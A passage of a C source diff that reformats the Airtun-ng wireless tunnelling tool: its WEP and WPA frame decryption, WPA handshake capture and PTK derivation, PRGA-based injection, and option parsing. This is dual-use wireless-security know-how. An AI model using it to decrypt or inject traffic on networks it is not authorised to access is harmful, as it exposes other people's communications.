-            if( st_1st == NULL )
-                st_1st = st_cur;
-            else
-                st_prv->next = st_cur;
-
-            memcpy( st_cur->stmac, stmac, 6 );
-            memcpy( st_cur->bssid, bssid, 6 );
-        }
-
-        /* check if we haven't already processed this packet */
-
-        crc = calc_crc_buf( packet + z, length - z );
-
-        if( ( packet[1] & 3 ) == 2 )
-        {
-            if( st_cur->t_crc == crc )
-            {
-                return 1;
-            }
-
-            st_cur->t_crc = crc;
-        }
-        else
-        {
-            if( st_cur->f_crc == crc )
-            {
-                return 1;
-            }
-
-            st_cur->f_crc = crc;
-        }
-
-        /* check the SNAP header to see if data is encrypted *
-         * as unencrypted data begins with AA AA 03 00 00 00 */
-
-        if( packet[z] != packet[z + 1] || packet[z + 2] != 0x03 )
-        {
-            /* check the extended IV flag */
-
-            if( ( packet[z + 3] & 0x20 ) == 0 )
-            {
-                if( opt.crypt != CRYPT_WEP )
-                    return 1;
-
-                memcpy( K, packet + z, 3 );
-                memcpy( K + 3, opt.wepkey, opt.weplen );
-
-                if (decrypt_wep( packet + z + 4, length - z - 4,
-                                 K, 3 + opt.weplen ) == 0 )
-                {
-                    printf("ICV check failed!\n");
-                    return 1;
-                }
-
-                /* WEP data packet was successfully decrypted, *
-                 * remove the WEP IV & ICV and write the data  */
-
-                length -= 8;
-
-                /* can overlap */
-                memmove( packet + z, packet + z + 4, length - z );
-
-                packet[1] &= 0xBF;
-            }
-            else
-            {
-                if( opt.crypt != CRYPT_WPA )
-                    return 1;
-
-                /* if the PTK is valid, try to decrypt */
-
-                if( st_cur == NULL || ! st_cur->valid_ptk )
-                    return 1;
-
-                if( st_cur->keyver == 1 )
-                {
-                    if( decrypt_tkip( packet, length,
-                                      st_cur->ptk + 32 ) == 0 )
-                    {
-                        printf("ICV check failed (WPA-TKIP)!\n");
-                        return 1;
-                    }
-
-                    length -= 20;
-                }
-                else
-                {
-                    if ( memcmp( smac, st_cur->stmac, 6 ) == 0 ) {
-                        st_cur->pn[0] = packet[z + 7];
-                        st_cur->pn[1] = packet[z + 6];
-                        st_cur->pn[2] = packet[z + 5];
-                        st_cur->pn[3] = packet[z + 4];
-                        st_cur->pn[4] = packet[z + 1];
-                        st_cur->pn[5] = packet[z + 0];
-                    }
-
-                    if( decrypt_ccmp( packet, length,
-                                      st_cur->ptk + 32 ) == 0 )
-                    {
-                        printf("ICV check failed (WPA-CCMP)!\n");
-                        return 1;
-                    }
-
-                    length -= 16;
-                }
-
-                /* WPA data packet was successfully decrypted, *
-                 * remove the WPA Ext.IV & MIC, write the data */
-
-                /* can overlap */
-                memmove( packet + z, packet + z + 8, length - z );
-
-                packet[1] &= 0xBF;
-            }
-        }
-        else if ( opt.crypt == CRYPT_WPA )
-        {
-            /* check ethertype == EAPOL */
-
-            z += 6;
-
-            if( packet[z] != 0x88 || packet[z + 1] != 0x8E )
-            {
-                return 1;
-            }
-
-            z += 2;
-
-            /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
-
-            if( packet[z + 1] != 0x03 ||
-                ( packet[z + 4] != 0xFE && packet[z + 4] != 0x02 ) )
-                return 1;
-
-            /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-            if( ( packet[z + 6] & 0x08 ) != 0 &&
-                ( packet[z + 6] & 0x40 ) == 0 &&
-                ( packet[z + 6] & 0x80 ) != 0 &&
-                ( packet[z + 5] & 0x01 ) == 0 )
-            {
-                /* set authenticator nonce */
-
-                memcpy( st_cur->anonce, &packet[z + 17], 32 );
-            }
-
-            /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
-
-            if( ( packet[z + 6] & 0x08 ) != 0 &&
-                ( packet[z + 6] & 0x40 ) == 0 &&
-                ( packet[z + 6] & 0x80 ) == 0 &&
-                ( packet[z + 5] & 0x01 ) != 0 )
-            {
-                if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 )
-                {
-                    /* set supplicant nonce */
-
-                    memcpy( st_cur->snonce, &packet[z + 17], 32 );
-                }
-
-                /* copy the MIC & eapol frame */
-
-                st_cur->eapol_size = ( packet[z + 2] << 8 )
-                                   +   packet[z + 3] + 4;
-
-                if (length - z < (int)st_cur->eapol_size  || st_cur->eapol_size == 0 ||
-                    st_cur->eapol_size > sizeof(st_cur->eapol))
-                {
-                        // Ignore the packet trying to crash us.
-                        st_cur->eapol_size = 0;
-                        return 1;
-                }
-
-                memcpy( st_cur->keymic, &packet[z + 81], 16 );
-                memcpy( st_cur->eapol, &packet[z], st_cur->eapol_size );
-                memset( st_cur->eapol + 81, 0, 16 );
-
-                /* copy the key descriptor version */
-
-                st_cur->keyver = packet[z + 6] & 7;
-            }
-
-            /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-            if( ( packet[z + 6] & 0x08 ) != 0 &&
-                ( packet[z + 6] & 0x40 ) != 0 &&
-                ( packet[z + 6] & 0x80 ) != 0 &&
-                ( packet[z + 5] & 0x01 ) != 0 )
-            {
-                if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 )
-                {
-                    /* set authenticator nonce */
-
-                    memcpy( st_cur->anonce, &packet[z + 17], 32 );
-                }
-
-                /* copy the MIC & eapol frame */
-
-                st_cur->eapol_size = ( packet[z + 2] << 8 )
-                                   +   packet[z + 3] + 4;
-
-                if (length - z < (int)st_cur->eapol_size  || st_cur->eapol_size == 0 ||
-                    st_cur->eapol_size > sizeof(st_cur->eapol))
-                {
-                    // Ignore the packet trying to crash us.
-                    st_cur->eapol_size = 0;
-                    return 1; //continue;
-                 }
-
-                memcpy( st_cur->keymic, &packet[z + 81], 16 );
-                memcpy( st_cur->eapol, &packet[z], st_cur->eapol_size );
-                memset( st_cur->eapol + 81, 0, 16 );
-
-                /* copy the key descriptor version */
-
-                st_cur->keyver = packet[z + 6] & 7;
-            }
-
-            st_cur->valid_ptk = calc_ptk( st_cur, opt.pmk );
-
-            if ( st_cur->valid_ptk )
-            {
-                printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X\n",
-                       st_cur->stmac[0], st_cur->stmac[1],
-                       st_cur->stmac[2], st_cur->stmac[3],
-                       st_cur->stmac[4], st_cur->stmac[5]
-                );
-            }
-        }
-
-        switch( packet[1] & 3 )
-        {
-            case 1:
-                memcpy( h80211,   packet+16, 6);  //DST_MAC
-                memcpy( h80211+6, packet+10, 6);  //SRC_MAC
-                break;
-            case 2:
-                memcpy( h80211,   packet+4 , 6);  //DST_MAC
-                memcpy( h80211+6, packet+16, 6);  //SRC_MAC
-                break;
-            case 3:
-                memcpy( h80211,   packet+16, 6);  //DST_MAC
-                memcpy( h80211+6, packet+24, 6);  //SRC_MAC
-                break;
-            default: break;
-        }
-
-        /* Keep track of known MACs, so we only have to tunnel into one side of the WDS network */
-        if (((packet[1] & 3) == 3) && opt.bidir) {
-            if (! memcmp(packet+10, opt.r_bssid, 6)) {
-                set_entry(packet+24, 0);
-            }
-            if (! memcmp(packet+10, opt.r_trans, 6)) {
-                set_entry(packet+24, 1);
-            }
-        }
-
-        if( memcmp(dmac, SPANTREE, 6) == 0 )
-        {
-            if( length <= z+8 )
-                return 1;
-
-            memcpy( h80211+14, packet+z, length-z);
-
-            length = length-z+14;
-
-            h80211[12] = ((length-14)>>8)&0xFF;
-            h80211[13] = (length-14)&0xFF;
-        }
-        else
-        {
-            memcpy( h80211+12, packet+z+6, 2);  //copy ether type
-
-            if( length <= z+8 )
-                return 1;
-
-            memcpy( h80211+14, packet+z+8, length-z-8);
-            length = length -z-8+14;
-        }
-
-        ti_write(dev.dv_ti, h80211, length);
-    }
-    else
-    {
-        return 1;
-    }
-
-    return 0;
-}
+	if ((memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+		&& (memcmp(opt.f_bssid, NULL_MAC, 6) == 0))
+	{
+		printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
 
-int main( int argc, char *argv[] )
-{
-    int ret_val, len, i, n, ret;
-    struct pcap_pkthdr pkh;
-    fd_set read_fds;
-    unsigned char buffer[4096];
-    unsigned char bssid[6];
-    char *s, buf[128];
-    int caplen;
-
-    #ifdef USE_GCRYPT
-        // Disable secure memory.
-        gcry_control (GCRYCTL_DISABLE_SECMEM, 0);
-        // Tell Libgcrypt that initialization has completed.
-        gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0);
-    #endif
-
-    /* check the arguments */
-
-    memset( ZERO, 0, sizeof( ZERO ) );
-    memset( &opt, 0, sizeof( opt ) );
-    memset( &dev, 0, sizeof( dev ) );
-
-    rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list));
-    memset(rFragment, 0, sizeof(struct Fragment_list));
-
-    opt.r_nbpps = 100;
-    opt.tods    = 0;
-
-    srand( time( NULL ) );
-
-    while( 1 )
-    {
-        int option_index = 0;
-
-        static struct option long_options[] = {
-            {"netmask", 1, 0, 'm'},
-            {"bssid",   1, 0, 'd'},
-            {"repeat",  0, 0, 'f'},
-            {"help",  0, 0, 'H'},
-            {0,         0, 0,  0 }
-        };
-
-        int option = getopt_long( argc, argv,
-                        "x:a:h:i:r:y:t:s:bw:p:e:m:d:fH",
-                        long_options, &option_index );
-
-        if( option < 0 ) break;
-
-        switch( option )
-        {
-            case 0 :
-
-                break;
-
-            case ':' :
-
-	    		printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case '?' :
-
-	    		printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case 'x' :
-
-                ret = sscanf( optarg, "%d", &opt.r_nbpps );
-                if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 )
-                {
-                    printf( "Invalid number of packets per second. [1-1024]\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'a' :
-
-                if( getmac( optarg, 1, opt.r_bssid ) != 0 )
-                {
-                    printf( "Invalid AP MAC address.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'h' :
-
-                if( getmac( optarg, 1, opt.r_smac ) != 0 )
-                {
-                    printf( "Invalid source MAC address.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'y' :
-
-                if( opt.prga != NULL )
-                {
-                    printf( "PRGA file already specified.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                if( opt.crypt != CRYPT_NONE )
-                {
-                    printf( "Encryption key already specified.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                if( read_prga(&(opt.prga), optarg) != 0 )
-                {
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'i' :
-
-                if( opt.s_face != NULL || opt.s_file )
-                {
-                    printf( "Packet source already specified.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.s_face = optarg;
-                break;
-
-            case 't' :
-
-                if( atoi(optarg) == 1) opt.tods = 1;
-                else if ( atoi(optarg) == 2) opt.tods = 2;
-                else opt.tods = 0;
-                break;
-
-            case 's' :
-
-                if( getmac( optarg, 1, opt.r_trans ) != 0 )
-                {
-                    printf( "Invalid Transmitter MAC address.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'b' :
-
-                opt.bidir = 1;
-                break;
-
-            case 'w' :
-
-                if( opt.prga != NULL )
-                {
-                    printf( "PRGA file already specified.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                if( opt.crypt != CRYPT_NONE )
-                {
-                    printf( "Encryption key already specified.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-
-                opt.crypt = CRYPT_WEP;
-
-                i = 0;
-                s = optarg;
-
-                buf[0] = s[0];
-                buf[1] = s[1];
-                buf[2] = '\0';
-
-                while( sscanf( buf, "%x", &n ) == 1 )
-                {
-                    if( n < 0 || n > 255 )
-                    {
-                        printf( "Invalid WEP key.\n" );
-			    		printf("\"%s --help\" for help.\n", argv[0]);
-                        return( 1 );
-                    }
-
-                    opt.wepkey[i++] = n;
-
-                    if( i >= 64 ) break;
-
-                    s += 2;
-
-                    if( s[0] == ':' || s[0] == '-' )
-                        s++;
-
-                    if( s[0] == '\0' || s[1] == '\0' )
-                        break;
-
-                    buf[0] = s[0];
-                    buf[1] = s[1];
-                }
-
-                if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 )
-                {
-                    printf( "Invalid WEP key length.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-
-                opt.weplen = i;
-
-                break;
-
-            case 'e' :
-
-                if ( opt.essid[0])
-                {
-                    printf( "ESSID already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-
-                opt.crypt = CRYPT_WPA;
-
-                memset(  opt.essid, 0, sizeof( opt.essid ) );
-                strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 );
-                break;
-
-
-            case 'p' :
-
-                if( opt.prga != NULL )
-                {
-                    printf( "PRGA file already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                if( opt.crypt != CRYPT_NONE )
-                {
-                    printf( "Encryption key already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-
-                opt.crypt = CRYPT_WPA;
-
-                memset(  opt.passphrase, 0, sizeof( opt.passphrase ) );
-                strncpy( opt.passphrase, optarg, sizeof( opt.passphrase ) - 1 );
-
-                break;
-
-            case 'm':
-
-                if ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 )
-                {
-                    printf("Notice: netmask already given\n");
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    break;
-                }
-                if(getmac(optarg, 1, opt.f_netmask) != 0)
-                {
-                    printf("Notice: invalid netmask\n");
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-            case 'd':
-                if ( memcmp(opt.f_bssid, NULL_MAC, 6) != 0 )
-                {
-                    printf("Notice: bssid already given\n");
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    break;
-                }
-                if(getmac(optarg, 1, opt.f_bssid) != 0)
-                {
-                    printf("Notice: invalid bssid\n");
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-            case 'f':
-                opt.repeat = 1;
-                break;
-            case 'r' :
-
-                if( opt.s_face != NULL || opt.s_file )
-                {
-                    printf( "Packet source already specified.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.s_file = optarg;
-                break;
-
-            case 'H' :
-
-            	printf( usage, getVersion("Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-            	return( 1 );
-
-            default : goto usage;
-        }
-    }
-
-    if( argc - optind != 1 )
-    {
-    	if(argc == 1)
-    	{
-usage:
-	        printf( usage, getVersion("Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-        }
-	    if( argc - optind == 0)
-	    {
-	    	printf("No replay interface specified.\n");
-	    }
-	    if(argc > 1)
-	    {
-    		printf("\"%s --help\" for help.\n", argv[0]);
-	    }
-        return( 1 );
-    }
-
-    if( ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(opt.f_bssid, NULL_MAC, 6) == 0 ) )
-    {
-        printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
-   		printf("\"%s --help\" for help.\n", argv[0]);
-        return( 1 );
-    }
-
-    if( memcmp( opt.r_bssid, NULL_MAC, 6) == 0 )
-    {
-        printf( "Please specify a BSSID (-a).\n" );
-   		printf("\"%s --help\" for help.\n", argv[0]);
-        return 1;
-    }
-
-    if( ( memcmp( opt.r_trans, NULL_MAC, 6) == 0 ) && opt.tods == 2 )
-    {
-        printf( "Please specify a Transmitter (-s).\n" );
-   		printf("\"%s --help\" for help.\n", argv[0]);
-        return 1;
-    }
-
-    if( opt.crypt == CRYPT_WPA )
-    {
-        if( opt.passphrase[0] != '\0' )
-        {
-            /* compute the Pairwise Master Key */
-
-            if( opt.essid[0] == '\0' )
-            {
-                printf( "You must also specify the ESSID (-e).\n" );
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-            }
-
-            calc_pmk( opt.passphrase, opt.essid, opt.pmk );
-        }
-    }
-
-    dev.fd_rtc = -1;
-
-    /* open the RTC device if necessary */
+	if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a BSSID (-a).\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return 1;
+	}
+
+	if ((memcmp(opt.r_trans, NULL_MAC, 6) == 0) && opt.tods == 2)
+	{
+		printf("Please specify a Transmitter (-s).\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return 1;
+	}
+
+	if (opt.crypt == CRYPT_WPA)
+	{
+		if (opt.passphrase[0] != '\0')
+		{
+			/* compute the Pairwise Master Key */
+
+			if (opt.essid[0] == '\0')
+			{
+				printf("You must also specify the ESSID (-e).\n");
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+			}
+
+			calc_pmk(opt.passphrase, opt.essid, opt.pmk);
+		}
+	}
+
+	dev.fd_rtc = -1;
+
+/* open the RTC device if necessary */
 
 #if defined(__i386__)
 #if defined(linux)
-    if( 1 )
-    {
-        if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 )
-        {
-            dev.fd_rtc = 0;
-        }
-
-        if( (dev.fd_rtc == 0) && ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 )
-        {
-            dev.fd_rtc = 0;
-        }
-
-        if( dev.fd_rtc > 0 )
-        {
-            if( ioctl( dev.fd_rtc, RTC_IRQP_SET, 1024 ) < 0 )
-            {
-                perror( "ioctl(RTC_IRQP_SET) failed" );
-                printf(
-"Make sure enhanced rtc device support is enabled in the kernel (module\n"
-"rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" );
-                close( dev.fd_rtc );
-                dev.fd_rtc = -1;
-            }
-            else
-            {
-                if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 )
-                {
-                    perror( "ioctl(RTC_PIE_ON) failed" );
-                    close( dev.fd_rtc );
-                    dev.fd_rtc = -1;
-                }
-            }
-        }
-        else
-        {
-            printf( "For information, no action required:"
-                    " Using gettimeofday() instead of /dev/rtc\n" );
-            dev.fd_rtc = -1;
-        }
-    }
+	if (1)
+	{
+		if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
+		{
+			dev.fd_rtc = 0;
+		}
+
+		if ((dev.fd_rtc == 0) && (dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0)
+		{
+			dev.fd_rtc = 0;
+		}
+
+		if (dev.fd_rtc > 0)
+		{
+			if (ioctl(dev.fd_rtc, RTC_IRQP_SET, 1024) < 0)
+			{
+				perror("ioctl(RTC_IRQP_SET) failed");
+				printf("Make sure enhanced rtc device support is enabled in "
+					   "the kernel (module\n"
+					   "rtc, not genrtc) - also try 'echo 1024 "
+					   ">/proc/sys/dev/rtc/max-user-freq'.\n");
+				close(dev.fd_rtc);
+				dev.fd_rtc = -1;
+			}
+			else
+			{
+				if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
+				{
+					perror("ioctl(RTC_PIE_ON) failed");
+					close(dev.fd_rtc);
+					dev.fd_rtc = -1;
+				}
+			}
+		}
+		else
+		{
+			printf("For information, no action required:"
+				   " Using gettimeofday() instead of /dev/rtc\n");
+			dev.fd_rtc = -1;
+		}
+	}
 #endif /* linux */
 #endif /* __i386__ */
 
-    /* open the replay interface */
-    _wi_out = wi_open(argv[optind]);
-    if (!_wi_out)
-        return 1;
-    dev.fd_out = wi_fd(_wi_out);
-
-    /* open the packet source */
-    if( opt.s_face != NULL )
-    {
-        _wi_in = wi_open(opt.s_face);
-        if (!_wi_in)
-            return 1;
-        dev.fd_in = wi_fd(_wi_in);
-    }
-    else
-    {
-        _wi_in = _wi_out;
-        dev.fd_in = dev.fd_out;
-    }
-
-    /* drop privileges */
-	if (setuid( getuid() ) == -1) {
+	/* open the replay interface */
+	_wi_out = wi_open(argv[optind]);
+	if (!_wi_out) return 1;
+	dev.fd_out = wi_fd(_wi_out);
+
+	/* open the packet source */
+	if (opt.s_face != NULL)
+	{
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return 1;
+		dev.fd_in = wi_fd(_wi_in);
+	}
+	else
+	{
+		_wi_in = _wi_out;
+		dev.fd_in = dev.fd_out;
+	}
+
+	/* drop privileges */
+	if (setuid(getuid()) == -1)
+	{
 		perror("setuid");
 	}
 
-    /* XXX */
-    if( opt.r_nbpps == 0 )
-    {
-        if( dev.is_wlanng || dev.is_hostap )
-            opt.r_nbpps = 200;
-        else
-            opt.r_nbpps = 500;
-    }
-
-    if( opt.s_file != NULL )
-    {
-        if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) )
-        {
-            perror( "open failed" );
-            return( 1 );
-        }
-
-        n = sizeof( struct pcap_file_header );
-
-        if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n )
-        {
-            perror( "fread(pcap file header) failed" );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.magic != TCPDUMP_MAGIC &&
-            dev.pfh_in.magic != TCPDUMP_CIGAM )
-        {
-            fprintf( stderr, "\"%s\" isn't a pcap file (expected "
-                             "TCPDUMP_MAGIC).\n", opt.s_file );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.magic == TCPDUMP_CIGAM )
-            SWAP32(dev.pfh_in.linktype);
-
-        if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 &&
-            dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER &&
-            dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR &&
-            dev.pfh_in.linktype != LINKTYPE_PPI_HDR )
-        {
-            fprintf( stderr, "Wrong linktype from pcap file header "
-                             "(expected LINKTYPE_IEEE802_11) -\n"
-                             "this doesn't look like a regular 802.11 "
-                             "capture.\n" );
-            return( 1 );
-        }
-    }
-
-    dev.dv_ti = ti_open(NULL);
-    if(!dev.dv_ti)
-    {
-        printf( "error opening tap device: %s\n", strerror( errno ) );
-        return -1;
-    }
-    printf( "created tap interface %s\n", ti_name(dev.dv_ti));
-
-    if(opt.prgalen <= 0 && opt.crypt == CRYPT_NONE)
-    {
-        printf( "No encryption specified. Sending and receiving frames through %s.\n", argv[optind]);
-    }
-    else if(opt.crypt == CRYPT_WPA)
-    {
-        printf( "WPA encryption specified. Sending and receiving frames through %s.\n", argv[optind] );
-    }
-    else if(opt.crypt == CRYPT_WEP)
-    {
-        printf( "WEP encryption specified. Sending and receiving frames through %s.\n", argv[optind] );
-    }
-    else
-    {
-        printf( "WEP encryption by PRGA specified. No reception, only sending frames through %s.\n", argv[optind] );
-    }
-
-    if( opt.tods == 1 )
-    {
-        printf( "ToDS bit set in all frames.\n" );
-    }
-    else if( opt.tods == 2)
-    {
-        printf( "ToDS and FromDS bit set in all frames (WDS/Bridge) - " );
-        if (opt.bidir) {
-            printf( "bidirectional mode\n" );
-        } else {
-            printf( "unidirectional mode\n" );
-        }
-    }
-    else
-    {
-        printf( "FromDS bit set in all frames.\n" );
-    }
-
-    for( ; ; )
-    {
-        if(opt.s_file != NULL)
-        {
-            n = sizeof( pkh );
-
-            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
-            {
-                printf("Finished reading input file %s.\n", opt.s_file);
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
-                SWAP32( pkh.caplen );
-                SWAP32( pkh.len );
-            }
-
-            n = caplen = pkh.caplen;
-
-            if( n <= 0 || n > (int) sizeof( h80211 ) )
-            {
-                printf("Finished reading input file %s.\n", opt.s_file);
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
-            {
-                printf("Finished reading input file %s.\n", opt.s_file);
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
-            {
-                if( h80211[7] == 0x40 )
-                    n = 64;
-                else
-                    n = *(int *)( h80211 + 4 );
-
-                if( n < 8 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
-            {
-                /* remove the radiotap header */
-
-                n = *(unsigned short *)( h80211 + 2 );
-
-                if( n <= 0 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
-            {
-                /* remove the PPI header */
-
-                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                /* for a while Kismet logged broken PPI headers */
-                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-                    n = 32;
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( opt.repeat )
-            {
-                if( memcmp(opt.f_bssid, NULL_MAC, 6) != 0 )
-                {
-                    switch( h80211[1] & 3 )
-                    {
-                        case  0: memcpy( bssid, h80211 + 16, 6 ); break;
-                        case  1: memcpy( bssid, h80211 +  4, 6 ); break;
-                        case  2: memcpy( bssid, h80211 + 10, 6 ); break;
-                        default: memcpy( bssid, h80211 + 10, 6 ); break;
-                    }
-                    if( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 )
-                    {
-                        if(is_filtered_netmask(bssid)) continue;
-                    }
-                    else
-                    {
-                        if( memcmp(opt.f_bssid, bssid, 6) != 0 ) continue;
-                    }
-                }
-                send_packet(h80211, caplen);
-            }
-
-            packet_recv( h80211, caplen);
-            msleep( 1000/opt.r_nbpps );
-            continue;
-        }
-
-        FD_ZERO( &read_fds );
-        FD_SET( dev.fd_in, &read_fds );
-        FD_SET(ti_fd(dev.dv_ti), &read_fds );
-        ret_val = select( MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL );
-        if( ret_val < 0 )
-            break;
-        if( ret_val > 0 )
-        {
-            if( FD_ISSET(ti_fd(dev.dv_ti), &read_fds ) )
-            {
-                len = ti_read(dev.dv_ti, buffer, sizeof( buffer ) );
-                if( len > 0  )
-                {
-                    packet_xmit(buffer, len);
-                }
-            }
-            if( FD_ISSET( dev.fd_in, &read_fds ) )
-            {
-                len = read_packet( buffer, sizeof( buffer ) );
-                if( len > 0 )
-                {
-                    packet_recv( buffer, len);
-                }
-            }
-        } //if( ret_val > 0 )
-    } //for( ; ; )
-
-    ti_close( dev.dv_ti );
-
-
-    /* that's all, folks */
-
-    return( 0 );
+	/* XXX */
+	if (opt.r_nbpps == 0)
+	{
+		if (dev.is_wlanng || dev.is_hostap)
+			opt.r_nbpps = 200;
+		else
+			opt.r_nbpps = 500;
+	}
+
+	if (opt.s_file != NULL)
+	{
+		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
+		{
+			perror("open failed");
+			return (1);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (1);
+		}
+
+		if (dev.pfh_in.magic != TCPDUMP_MAGIC
+			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					opt.s_file);
+			return (1);
+		}
+
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
+
+		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (1);
+		}
+	}
+
+	dev.dv_ti = ti_open(NULL);
+	if (!dev.dv_ti)
+	{
+		printf("error opening tap device: %s\n", strerror(errno));
+		return -1;
+	}
+	printf("created tap interface %s\n", ti_name(dev.dv_ti));
+
+	if (opt.prgalen <= 0 && opt.crypt == CRYPT_NONE)
+	{
+		printf("No encryption specified. Sending and receiving frames through "
+			   "%s.\n",
+			   argv[optind]);
+	}
+	else if (opt.crypt == CRYPT_WPA)
+	{
+		printf("WPA encryption specified. Sending and receiving frames through "
+			   "%s.\n",
+			   argv[optind]);
+	}
+	else if (opt.crypt == CRYPT_WEP)
+	{
+		printf("WEP encryption specified. Sending and receiving frames through "
+			   "%s.\n",
+			   argv[optind]);
+	}
+	else
+	{
+		printf("WEP encryption by PRGA specified. No reception, only sending "
+			   "frames through %s.\n",
+			   argv[optind]);
+	}
+
